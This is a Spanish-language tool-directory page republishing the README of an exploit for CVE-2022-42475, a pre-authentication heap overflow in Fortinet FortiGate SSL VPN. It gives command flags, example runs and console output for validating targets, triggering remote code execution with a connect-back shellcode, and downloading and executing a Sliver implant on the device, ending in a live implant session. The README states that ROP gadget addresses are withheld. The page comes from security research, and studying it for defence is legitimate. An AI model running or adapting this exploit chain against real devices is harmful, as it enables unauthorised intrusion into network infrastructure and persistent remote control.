Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-42475 — Un exploit para CVE-2022-42475, un desbordamiento de montón previo a la autenticación en productos de red de Fortinet | Kitploit
Herramientas/GitHubGitHub/0xhaggis/cve-2022-42475
Análisis de VulnerabilidadesExplotaciónRed TeamingHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

Un exploit para CVE-2022-42475, un desbordamiento de montón previo a la autenticación en productos de red de Fortinet

Ver Repositorio
3313hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-42475

Antecedentes

Este es el exploit para la publicación del blog aquí: https://bishopfox.com/blog/exploit-cve-2022-42475

Versión Redactada

Esta versión del exploit no funcionará sin que tú, el hacker, proporciones las direcciones de memoria necesarias para los gadgets ROP, etc. El trabajo para determinar estos datos es confidencial y propiedad de Bishop Fox y no lo publicaré (no puedo) junto con este exploit. ¡Confío en que lo entiendes!

Modos de operación

  • Solo validación, sin exploit. Determina si es vulnerable. Sin payload, sin shellcode.
  • Explotación, pero solo verificación. Ejecuta shellcode benigno de conexión de retorno "ping" para verificar que el objetivo es explotable.
  • Explotación con stager binario de conexión de retorno. El shellcode se conecta de vuelta al exploit, descarga un archivo binario cifrado proporcionado por el operador (típicamente https://gitub.com/BishopFox/Sliver), descifra el binario y luego llama a execve(binary_file).

Nota: Actualmente, el modo "solo validación" funciona en todas las versiones conocidas de FortiOS. Sin embargo, los exploits funcionan solo contra FortiOS 6.0.4 en hardware 100D. Ya no trabajo en BF y, por lo tanto, no puedo publicar el exploit ampliado que admite alrededor de 18k objetivos.

Requisitos

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Solo validación

Esto no intentará explotar el bug, sino que lo desencadena como un fallo (el daemon remoto de SSL VPN se reinicia automática e inmediatamente). El fallo se detecta heurísticamente y se reporta al operador.

Ejecútalo usando la bandera de validación -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Explotación, pero validación (característica solo disponible para FortiOS 6.0.4 en equipos 100D actualmente)

Esto desencadenará el bug, desplegará una cadena ROP y saltará al shellcode. El shellcode es benigno y funciona de la siguiente manera:

  • El exploit se conecta al objetivo y desencadena la vulnerabilidad para ejecutar shellcode
  • El shellcode se conecta de vuelta a la IP:puerto del operador
  • El shellcode envía un solo byte "hello" al exploit: 0xbf
  • El exploit entrega un pequeño payload de prueba cifrado al shellcode (la clave AES es aleatoria en cada ejecución)
  • El shellcode descifra el payload y lo guarda en /tmp/x en el equipo FortiGate
  • El shellcode envía otro byte 0xbf al exploit si el descifrado del payload fue exitoso
  • El exploit lee el byte y confirma la ejecución de código.

Banderas:

root@kitploit:~
-t           host/IP objetivo
-p           puerto objetivo
-e           modo de explotación
-c           modo solo conexión de retorno
-H y -P      IP:puerto del operador (requerido)
-s           versión de software de FortiOS (requerido)
-m           modelo de hardware que ejecuta FortiOS
-d           activar depuración

Un ejemplo donde seleccionamos tanto la versión de software 6.0.4 como el modelo de equipo 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Si omites el -m para elegir un modelo de hardware, el exploit hará fuerza bruta contra todos los objetivos de hardware para la versión de software especificada.

Guerra termonuclear global

  • El operador especifica la ubicación de un binario de implante Sliver (basado en Linux)
  • El exploit se conecta al objetivo y desencadena la vulnerabilidad para ejecutar shellcode
  • El shellcode se conecta de vuelta a la IP:puerto del operador
  • El shellcode envía un solo byte "hello" al exploit: 0xbf
  • El exploit cifra el binario de Sliver y lo envía al shellcode
  • El shellcode descifra el binario y lo guarda en /tmp/x
  • El shellcode envía un byte de "éxito" 0xbf al exploit
  • El exploit lee el byte y confirma la ejecución de código
  • El shellcode llama a execve("/tmp/x")
  • ???
  • ¡Beneficio!

Banderas:

root@kitploit:~
-t           host/IP objetivo
-p           puerto objetivo
-e           modo de explotación
-f nombre_archivo  /ruta/al/binario/para/execve/en/objetivo
-H y -P      IP:puerto del operador para conexión de retorno (requerido)
-s           versión de software de FortiOS (requerido)
-m           modelo de hardware que ejecuta FortiOS
-d           activar depuración

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Y de vuelta en Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Ten en cuenta que Sliver devuelve <err> porque FortiOS es más o menos Linux, y no siempre funciona como uno esperaría. Esto es un problema de FortiOS, no de Sliver.

Más versiones próximamente

Ya no trabajo en Bishop Fox, así que tendrás que seguir el github de BF para actualizaciones sobre esto.

Descargar herramienta